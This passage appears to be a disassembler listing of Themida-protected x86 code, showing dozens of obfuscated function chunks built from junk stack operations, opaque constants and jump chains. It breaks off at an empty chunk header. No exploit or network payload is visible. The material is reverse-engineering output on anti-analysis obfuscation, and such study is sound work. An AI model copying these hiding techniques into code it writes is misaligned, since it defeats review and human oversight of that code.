; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_56C0B9:				; CODE XREF: sub_574FC9-685Dj
		push	esp
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_56905F
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A016


loc_56C0C8:				; CODE XREF: sub_56A016-216Fj
		inc	ecx
		jmp	sub_563DCB
; END OF FUNCTION CHUNK	FOR sub_56A016
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_56C0CE:				; CODE XREF: sub_56BD44-65D5j
		push	ax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56C0D6:				; CODE XREF: sub_56FA15+1EF8j
		pop	ebx
		jmp	loc_56232F
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------


loc_56C0DC:				; CODE XREF: Themida_:0056F313j
		add	edx, 4
		add	edx, 4
		jmp	loc_56D123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56C0ED:				; CODE XREF: sub_56FA15-42DEj
		push	eax
		jmp	loc_571CFB
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------


loc_56C0F3:				; CODE XREF: Themida_:00573B2Aj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		jmp	loc_565F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564746


loc_56C10C:				; CODE XREF: sub_564746+16j
		mov	cl, ah
		pop	eax
		not	bh
		xchg	bh, cl
		add	cl, 66h
		inc	cl
		jmp	loc_56B341
; END OF FUNCTION CHUNK	FOR sub_564746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_56C11D:				; CODE XREF: sub_5634AF+363Dj
		mov	ecx, esi
		pop	esi
		sub	edx, ecx
		jmp	loc_5753E4
; END OF FUNCTION CHUNK	FOR sub_5634AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_56C127:				; CODE XREF: sub_568E5C+BED7j
		pop	edx
		jmp	loc_56D9CA
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5662F9


loc_56C12D:				; CODE XREF: sub_5662F9+836Cj
		pop	esp
		jmp	loc_56A8E5
; END OF FUNCTION CHUNK	FOR sub_5662F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_56C133:				; CODE XREF: sub_561541+B93Cj
		push	edx
		mov	edx, 156B5F77h
		jmp	loc_571F45
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5692D3


loc_56C13E:				; CODE XREF: sub_5692D3+13j
		mov	[esp+0Ch+var_C], esi
		jmp	loc_567E98
; END OF FUNCTION CHUNK	FOR sub_5692D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_56C146:				; CODE XREF: sub_56651E+18j
		add	[esp+8+var_4], edi
		add	[esp+8+var_4], 78D93E6Dh
		pop	edi
		jmp	loc_56EAF1
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D72


loc_56C158:				; CODE XREF: sub_567D72+15j
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		push	5680h
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 4
		sub	eax, 37D33DB4h
		sub	eax, ebx
		add	eax, 37D33DB4h
		pop	ebx
		jmp	loc_5645DF
; END OF FUNCTION CHUNK	FOR sub_567D72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_56C180:				; CODE XREF: sub_569FB8+408Cj
		add	esp, 4
		add	al, 6Ch
		sub	al, bh
		sub	al, 6Ch
		sub	al, 21h
		mov	bx, [esp+2+var_2]
		jmp	loc_565E25
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_56C194:				; CODE XREF: sub_563DCB-2C41j
		mov	al, 0A5h
		sub	esp, 4
		jmp	loc_5667BC
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_56C1A1:				; CODE XREF: sub_561027+8794j
		mov	esi, 1F334BE2h
		add	esi, 0F4DFFEABh
		add	ebp, 40300041h
		add	ebp, esi
		jmp	loc_56F50F
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_56C1B9:				; CODE XREF: sub_5753A5-15E0j
		mov	esp, [esp+4+var_4]
		mov	ax, [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], edi
		jmp	loc_56A7C1
; END OF FUNCTION CHUNK	FOR sub_5753A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_56C1CE:				; CODE XREF: sub_5734A7-6EEBj
		sub	ebx, 4FA56F58h
		add	ebx, edx
		add	ebx, 4FA56F58h
		pop	edx
		push	ebx
		push	[esp+0Ch+var_8]
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		pop	[esp+0Ch+var_C]
		jmp	loc_56F10C
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56331C


loc_56C1F0:				; CODE XREF: sub_56331C+Cj
		xor	ecx, 41101E33h
		add	eax, ecx
		jmp	loc_57284D
; END OF FUNCTION CHUNK	FOR sub_56331C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_56C1FD:				; CODE XREF: sub_56628B+EEj
		add	eax, edx
		pop	edx
		sub	esi, eax
		pop	eax
		jmp	loc_56C06F
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56C208:				; CODE XREF: sub_561418+C836j
		mov	esi, 285F4BF7h
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		mov	edx, 344905B3h
		add	esi, 31FF0A8Ah
		sub	esi, 3DBF2D46h
		jmp	loc_56736E
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_56C229:				; CODE XREF: sub_572141-288Aj
		rol	word ptr [esp+0], cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_56E920
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56959A


loc_56C241:				; CODE XREF: sub_56959A+816Cj
		mov	esp, [esp+0]
		and	[esp+0], al
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56959A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572EDC


loc_56C24D:				; CODE XREF: sub_572EDC+3j
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	esp
		jmp	loc_56037F
; END OF FUNCTION CHUNK	FOR sub_572EDC
; ---------------------------------------------------------------------------


loc_56C266:				; CODE XREF: Themida_:005699B4j
		mov	[esp], edi
		xor	dword ptr [esp], 22E12803h
		pop	esi
		xor	esi, 22E12803h
		pop	edi
		add	esi, edi
		pop	edi
		add	esi, ecx
		pop	ecx
		jmp	loc_572846
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_56C283:				; CODE XREF: sub_561027-6F5j
		push	[esp-4+arg_4]
		jmp	loc_575103
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_56C28C:				; CODE XREF: sub_56FA44+13j
		mov	[esp+8+var_8], ebp
		push	esi
		jmp	loc_5705BC
; END OF FUNCTION CHUNK	FOR sub_56FA44

; =============== S U B	R O U T	I N E =======================================



sub_56C295	proc near		; CODE XREF: sub_56504F+1EBBj

var_8		= dword	ptr -8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0056078F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00561033 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00563340 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056E998 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570601 SIZE 0000000D BYTES

		push	ebp
		sub	esp, 4
		jmp	loc_570601
sub_56C295	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_56C29E:				; CODE XREF: sub_56AEF2-5FC4j
		add	bl, 0DEh
		jmp	loc_575455
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A423


loc_56C2A6:				; CODE XREF: sub_56A423+2349j
		push	ecx
		not	[esp+10h+var_10]
		pop	ecx
		push	edx
		jmp	loc_561DC3
; END OF FUNCTION CHUNK	FOR sub_56A423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AE4B


loc_56C2B1:				; CODE XREF: sub_56AE4B-6B0Cj
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_574CD8
; END OF FUNCTION CHUNK	FOR sub_56AE4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56C2DA:				; CODE XREF: sub_565632+8C6Fj
		pop	eax
		add	ecx, 5C590112h
		add	ecx, esi
		sub	ecx, 5C590112h
		pop	esi
		push	edx
		push	eax
		mov	eax, 8F4328Bh
		sub	eax, 8E76E86Dh
		jmp	loc_571958
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_56C2FB:				; CODE XREF: sub_5673C3+3CEDj
		add	edi, eax
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_56982C
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_56C30A:				; CODE XREF: sub_56351E+Fj
		dec	ebx
		add	ebx, 64773EFAh
		add	ebx, 78E73050h
		sub	ebx, 0CF927500h
		jmp	loc_57530D
; END OF FUNCTION CHUNK	FOR sub_56351E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574DC1


loc_56C322:				; CODE XREF: sub_574DC1-14A52j
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_566653
; END OF FUNCTION CHUNK	FOR sub_574DC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_56C332:				; CODE XREF: sub_57523A-6570j
		mov	esp, [esp+8+var_8]
		dec	[esp-4+arg_0]
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562BA0


loc_56C33E:				; CODE XREF: sub_562BA0+CF3Dj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, 11CA5F60h
		sub	edx, ecx
		add	edx, 11CA5F60h
		pop	ecx
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], edx
		jmp	loc_56BC18
; END OF FUNCTION CHUNK	FOR sub_562BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DD54


loc_56C378:				; CODE XREF: sub_56DD54-8B3Dj
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		add	edx, esi
		pop	esi
		push	edx
		push	[esp-8+arg_8]
		pop	edx
		jmp	loc_5658F4
; END OF FUNCTION CHUNK	FOR sub_56DD54

; =============== S U B	R O U T	I N E =======================================



sub_56C38F	proc near		; CODE XREF: sub_56FB8A-2DC4j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056202E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00562E7E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005668D8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00566CA2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566CED SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00568F6A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005693A8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056CB55 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056F790 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057269B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00572B1E SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005750D2 SIZE 0000000C BYTES

		push	ebx
		mov	ebx, 364F0266h
		add	ebx, 14AA27DCh
		add	ebx, 6A83DD8h
		sub	ebx, 5075F3C5h
		or	edx, ebx
		pop	ebx
		shl	edx, 6
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	edi
		push	ecx
		push	6D0607C2h
		jmp	loc_57269B
sub_56C38F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_56C3BF:				; CODE XREF: sub_569FB8-8C8Bj
		pop	ecx
		push	4641h
		mov	[esp+0Ah+var_A], ecx
		mov	ch, dh
		mov	bh, ch
		mov	ecx, [esp+0Ah+var_A]
		jmp	loc_56A598
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_56C3D4:				; CODE XREF: sub_565A8D+C712j
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_57516F
; END OF FUNCTION CHUNK	FOR sub_565A8D

; =============== S U B	R O U T	I N E =======================================



sub_56C3E2	proc near		; CODE XREF: sub_5604FE+1315Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0056219D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00563CAA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00564078 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00564AC5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005675C6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00567F44 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056E61B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057106C SIZE 00000015 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		sub	esp, 4
		mov	[esp+8+var_8], esp
		push	ebx
		mov	ebx, 4
		add	[esp+0Ch+var_8], ebx
		pop	ebx
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		add	ebp, 4
		push	edx
		mov	edx, 4
		jmp	loc_564AC5
sub_56C3E2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_56C416:				; CODE XREF: sub_57549C-CEB5j
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 0AD41D74h
		xor	ebp, ecx
		pop	ecx
		push	442Ch
		mov	[esp+0Ch+var_C], edx
		jmp	loc_573A9D
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_56C42E:				; CODE XREF: sub_572641-E5CEj
		xor	al, dl
		jmp	loc_560950
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_56C435:				; CODE XREF: sub_5754DA-14FF8j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+12h+var_12]
		mov	esp, [esp+12h+var_12]
		xor	bh, 0CBh
		add	al, bh
		pop	ebx
		add	al, 89h
		sub	al, bl
		sub	al, 89h
		sub	esp, 4
		jmp	loc_567F1F
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_56C458:				; CODE XREF: sub_570FB7-3612j
		mov	[esp+0Ch+var_C], eax
		push	[esp+0Ch+var_C]
		mov	ebx, [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+0], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5715A7
; END OF FUNCTION CHUNK	FOR sub_570FB7

; =============== S U B	R O U T	I N E =======================================



sub_56C474	proc near		; DATA XREF: Themida_:0055FF08o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056A33E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056B03C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056F138 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573F6A SIZE 00000008 BYTES

		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		push	ebx
		push	385Ah
		mov	[esp+0Ch+var_C], esp
		push	36AAh
		jmp	loc_573F6A
sub_56C474	endp


; =============== S U B	R O U T	I N E =======================================



sub_56C48D	proc near		; CODE XREF: sub_56C7AA-9827j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00568D31 SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 57602B6Dh
		shr	ecx, 8
		sub	ecx, 1BE33D23h
		neg	ecx
		add	ecx, 54520A17h
		sub	ecx, 1BD085BAh
		push	edx
		mov	edx, 6C832D9Fh
		xor	ecx, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		add	eax, 5372071Bh
		sub	eax, ecx
		sub	eax, 5372071Bh
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		jmp	loc_568D31
sub_56C48D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_56C4D7:				; CODE XREF: sub_561027+3159j
		or	edx, esi
		pop	esi
		dec	edx
		push	ecx
		push	edx
		mov	edx, 7AC5700h
		dec	edx
		xor	edx, 2BC4B57h
		mov	ecx, edx
		pop	edx
		xor	edx, ecx
		jmp	loc_566986
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_56C4F3:				; CODE XREF: sub_56E96D-1603j
		mov	edx, 7EE91CBDh
		xor	esi, edx
		jmp	loc_573AA8
; END OF FUNCTION CHUNK	FOR sub_56E96D

; =============== S U B	R O U T	I N E =======================================



sub_56C4FF	proc near		; CODE XREF: sub_572EDC-12B5Cj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056081D SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00566D0E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005688BF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F528 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00570FD1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00571C75 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005724F0 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, 24FE314Ah
		inc	ebp
		or	ebp, 260F0C09h
		jmp	loc_5724F0
sub_56C4FF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57199D


loc_56C511:				; CODE XREF: sub_57199D-14EEj
		push	404B7859h
		pop	ecx
		sub	eax, 14985F36h
		sub	eax, 400D2D1Eh
		add	eax, ecx
		push	ebx
		push	31096621h
		jmp	loc_567E1A
; END OF FUNCTION CHUNK	FOR sub_57199D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56C52E:				; CODE XREF: sub_565632+65ACj
		mov	esi, 3A175949h
		push	ecx
		mov	ecx, 524D3C39h
		sub	esi, ecx
		jmp	loc_56CAE8
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_56C540:				; CODE XREF: sub_5733CA+3AFj
		mov	ecx, ebx
		pop	ebx
		sub	esi, ecx
		pop	ecx
		add	ecx, 65DF5821h
		add	ecx, esi
		jmp	loc_562368
; END OF FUNCTION CHUNK	FOR sub_5733CA

; =============== S U B	R O U T	I N E =======================================



sub_56C553	proc near		; CODE XREF: sub_56C295-B25Aj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056134D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00562583 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005724FC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0057346C SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_57346C
sub_56C553	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56C561:				; CODE XREF: sub_57354D-B254j
		mov	ebx, 57AF4918h
		jmp	loc_572768
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_56C56B:				; CODE XREF: sub_560844+4560j
		mov	ebx, 4413697Fh
		xor	ecx, ebx
		pop	ebx
		xor	ecx, 0E7F6766h
		jmp	loc_560BE4
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_56C57E:				; CODE XREF: sub_569A75+92ECj
		add	esp, 4
		jmp	loc_56CC3F
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D9E


loc_56C589:				; CODE XREF: sub_568D9E+1833j
		push	edx
		push	ebp
		mov	ebp, 0A4465DEh
		push	32C9124Eh
		mov	edx, [esp+8+var_8]
		add	esp, 4
		add	edx, 51A900D5h
		jmp	loc_564AE1
; END OF FUNCTION CHUNK	FOR sub_568D9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_56C5A6:				; CODE XREF: sub_5734A7-F8A1j
		push	53A2h
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		jmp	loc_56C1CE
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573A7F


loc_56C5C1:				; CODE XREF: sub_573A7F-3D30j
		not	[esp+8+var_8]
		jmp	loc_572B58
; END OF FUNCTION CHUNK	FOR sub_573A7F
; ---------------------------------------------------------------------------


loc_56C5C9:				; CODE XREF: Themida_:0056C9A8j
		xor	eax, 7F362F67h
		mov	ebx, eax
		jmp	loc_5675E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_56C5D5:				; CODE XREF: sub_566400-151Cj
		mov	edx, 16300476h
		add	edx, ebx
		jmp	loc_569F18
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56C5E1:				; CODE XREF: sub_564D26-27F2j
		not	[esp+4+var_4]
		pop	ebp
		push	ebx
		push	ebp
		pop	ebx
		pop	ebp
		xchg	ebx, esi
		inc	esi
		jmp	loc_56830D
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570621


loc_56C5F1:				; CODE XREF: sub_570621-D381j
		xor	edx, ecx
		jmp	loc_563683
; END OF FUNCTION CHUNK	FOR sub_570621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56C5F8:				; CODE XREF: sub_56616D+871Bj
		push	[esp-14h+arg_10]
		mov	eax, [esp-10h+arg_C]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_569BCA
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_56C60A:				; CODE XREF: sub_567D31+9C4Aj
		mov	edi, 66F42050h
		add	[esp+8+var_4], edi
		jmp	loc_570855
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_56C618:				; CODE XREF: sub_574F16-C0DCj
		push	edx
		push	ecx
		mov	ch, 0D3h
		jmp	loc_568992
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56C621:				; CODE XREF: sub_5605BC+E660j
		push	eax
		mov	eax, 4
		add	edx, 3A8769D3h
		add	edx, eax
		sub	edx, 3A8769D3h
		pop	eax
		push	esi
		sub	esp, 4
		mov	[esp+18h+var_18], eax
		mov	eax, esp
		push	esi
		mov	esi, 9340293h
		shl	esi, 6
		shl	esi, 3
		inc	esi
		sub	esi, 680525FDh
		add	eax, esi
		pop	esi
		jmp	loc_5626D6
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_56C65D:				; CODE XREF: sub_56EE9F-A2DFj
		xor	edi, ecx
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_5627A1
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_56C667:				; CODE XREF: sub_56241E+4450j
		mov	si, 0CD8h
		inc	si
		and	si, 401Ah
		jmp	loc_5692EB
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_56C677:				; CODE XREF: sub_572075-9311j
		add	ecx, 791A2EF3h
		jmp	loc_564B88
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56C682:				; CODE XREF: sub_563A7F+FA1Bj
		pop	dx
		sub	bl, 1
		xchg	bl, cl
		push	eax
		mov	al, 64h
		sub	al, 0A7h
		sub	al, 41h
		jmp	loc_57079C
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564EBE


loc_56C695:				; CODE XREF: sub_564EBE+B77j
		neg	ecx
		neg	ecx
		sub	ecx, 50470EB9h
		sub	ebx, ecx
		pop	ecx
		push	313Dh
		mov	[esp+0], edx
		push	426Ch
		mov	[esp+4+var_4], ebx
		mov	ebx, 619F466Dh
		shl	ebx, 6
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		neg	[esp+8+var_8]
		pop	ebx
		and	ebx, 4CFA6579h
		xor	ebx, 172E2B0Eh
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		not	[esp+8+var_8]
		pop	ebx
		sub	ebx, 6E1D42B6h
		push	ecx
		mov	ecx, ebx
		mov	edx, ecx
		pop	ecx
		jmp	loc_5643C9
; END OF FUNCTION CHUNK	FOR sub_564EBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56ACDE


loc_56C6EB:				; CODE XREF: sub_56ACDE+9168j
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		pop	edi
		jmp	sub_56BDE9
; END OF FUNCTION CHUNK	FOR sub_56ACDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_56C6F8:				; CODE XREF: sub_566AF9-1F4Bj
		not	eax
		or	eax, 3C4D1FDAh
		shr	eax, 3
		sub	eax, 0C81F48CFh
		or	edx, eax
		pop	eax
		shr	edx, 5
		push	edx
		xchg	edx, [esp+0Ch+var_C]
		not	edx
		push	edx
		push	[esp+10h+var_C]
		pop	edx
		pop	[esp+10h+var_10]
		push	[esp+0Ch+var_C]
		jmp	loc_56BFE7
; END OF FUNCTION CHUNK	FOR sub_566AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_56C724:				; CODE XREF: sub_573612+9j
		add	esp, 4
		push	6489h
		mov	[esp+8+var_8], eax
		mov	eax, 43481A68h
		add	eax, 0BCB7E59Ch
		push	48E4h
		mov	[esp+0Ch+var_C], edx
		mov	edx, 4D367AF6h
		xor	edx, 5ACA30B6h
		jmp	loc_5687AB
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD38


